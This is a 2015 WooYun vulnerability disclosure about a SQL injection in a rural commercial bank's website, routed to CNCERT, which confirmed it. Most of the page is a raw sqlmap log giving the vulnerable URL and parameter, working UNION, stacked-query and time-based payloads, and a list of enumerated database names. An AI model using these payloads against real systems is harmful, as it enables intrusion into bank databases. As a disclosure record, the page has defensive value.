当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090601

漏洞标题:某农商银行一处意想不到的SQL注入(可跨多个数据库)

相关厂商:cncert国家互联网应急中心

漏洞作者: #6c6c6c

提交时间:2015-01-08 12:43

修复时间:2015-02-22 12:44

公开时间:2015-02-22 12:44

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-08: 细节已通知厂商并且等待厂商处理中
2015-01-13: 厂商已经确认,细节仅向厂商公开
2015-01-23: 细节向核心白帽子及相关领域专家公开
2015-02-02: 细节向普通白帽子公开
2015-02-12: 细节向实习白帽子公开
2015-02-22: 细节向公众公开

简要描述:

求:祖传老中医,专治吹牛逼

详细说明:

注入地址:http://www.dlrcb.cn/NewsWebUI/NewSearchMapFrame.aspx?searchText=
sqlmap/1.0-dev - automatic SQL injection and database takeover tool
http://www.sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Authors assume no liability and are not responsib
le for any misuse or damage caused by this program
[*] starting at 02:50:45
[02:50:45] [INFO] using 'F:\桌面\渗透工具\sqlmap GUI汉化版\rar\output\www.dlrcb.
cn\session' as session file
[02:50:45] [INFO] testing connection to the target url
[02:50:46] [INFO] testing if the url is stable, wait a few seconds
[02:50:47] [INFO] url is stable
[02:50:47] [INFO] testing if GET parameter 'searchText' is dynamic
[02:50:47] [INFO] confirming that GET parameter 'searchText' is dynamic
[02:50:47] [INFO] GET parameter 'searchText' is dynamic
[02:50:47] [WARNING] heuristic test shows that GET parameter 'searchText' might
not be injectable
[02:50:47] [INFO] testing sql injection on GET parameter 'searchText'
[02:50:48] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[02:50:49] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE or HAVING clause
'
[02:50:50] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[02:50:50] [INFO] testing 'Microsoft SQL Server/Sybase AND error-based - WHERE o
r HAVING clause'
[02:50:51] [INFO] testing 'Oracle AND error-based - WHERE or HAVING clause (XMLT
ype)'
[02:50:52] [INFO] testing 'MySQL > 5.0.11 stacked queries'
[02:50:53] [INFO] testing 'PostgreSQL > 8.1 stacked queries'
[02:50:53] [INFO] testing 'Microsoft SQL Server/Sybase stacked queries'
[02:51:04] [INFO] GET parameter 'searchText' is 'Microsoft SQL Server/Sybase sta
cked queries' injectable
[02:51:04] [INFO] testing 'MySQL > 5.0.11 AND time-based blind'
[02:51:04] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[02:51:05] [INFO] testing 'Microsoft SQL Server/Sybase time-based blind'
[02:51:15] [INFO] GET parameter 'searchText' is 'Microsoft SQL Server/Sybase tim
e-based blind' injectable
[02:51:15] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[02:51:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[02:51:20] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for UNION query injection technique
[02:51:25] [INFO] target url appears to have 10 columns in query
[02:51:42] [INFO] GET parameter 'searchText' is 'Generic UNION query (NULL) - 1
to 10 columns' injectable
GET parameter 'searchText' is vulnerable. Do you want to keep testing the others
(if any)? [y/N] y
sqlmap identified the following injection points with a total of 71 HTTP(s) requ
ests:
---
Place: GET
Parameter: searchText
Type: UNION query
Title: Generic UNION query (NULL) - 10 columns
Payload: searchText=' UNION ALL SELECT NULL, CHAR(58)+CHAR(109)+CHAR(105)+CH
AR(107)+CHAR(58)+CHAR(100)+CHAR(77)+CHAR(103)+CHAR(122)+CHAR(83)+CHAR(87)+CHAR(1
04)+CHAR(118)+CHAR(78)+CHAR(103)+CHAR(58)+CHAR(97)+CHAR(98)+CHAR(103)+CHAR(58),
NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL-- AND 'VqAJ'='VqAJ
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: searchText='; WAITFOR DELAY '0:0:5';-- AND 'HeVL'='HeVL
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: searchText=' WAITFOR DELAY '0:0:5'-- AND 'qDku'='qDku
---
[02:53:37] [INFO] testing MySQL
[02:53:38] [WARNING] the back-end DBMS is not MySQL
[02:53:38] [INFO] testing Oracle
[02:53:38] [WARNING] the back-end DBMS is not Oracle
[02:53:38] [INFO] testing PostgreSQL
[02:53:38] [WARNING] the back-end DBMS is not PostgreSQL
[02:53:38] [INFO] testing Microsoft SQL Server
[02:53:41] [INFO] confirming Microsoft SQL Server
[02:53:51] [INFO] the back-end DBMS is Microsoft SQL Server
web server operating system: Windows Vista
web application technology: ASP.NET, ASP.NET 2.0.50727, Microsoft IIS 7.0
back-end DBMS: Microsoft SQL Server 2008
[02:53:51] [INFO] fetching database names
available databases [8]:
[*] CmsDB
[*] dlrcb
[*] master
[*] model
[*] msdb
[*] ReportServer
[*] ReportServerTempDB
[*] tempdb
[02:53:55] [INFO] Fetched data logged to text files under 'F:\桌面\渗透工具\sqlm
ap GUI汉化版\rar\output\www.dlrcb.cn'
[*] shutting down at 02:53:55

漏洞证明:

修复方案:

版权声明:转载请注明来源 #6c6c6c@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:9

确认时间:2015-01-13 10:21

厂商回复:

CNVD确认并复现所述漏洞情况,已经转由CNCERT下发给辽宁分中心,由辽宁分中心后续协调网站管理单位处置。

最新状态:

暂无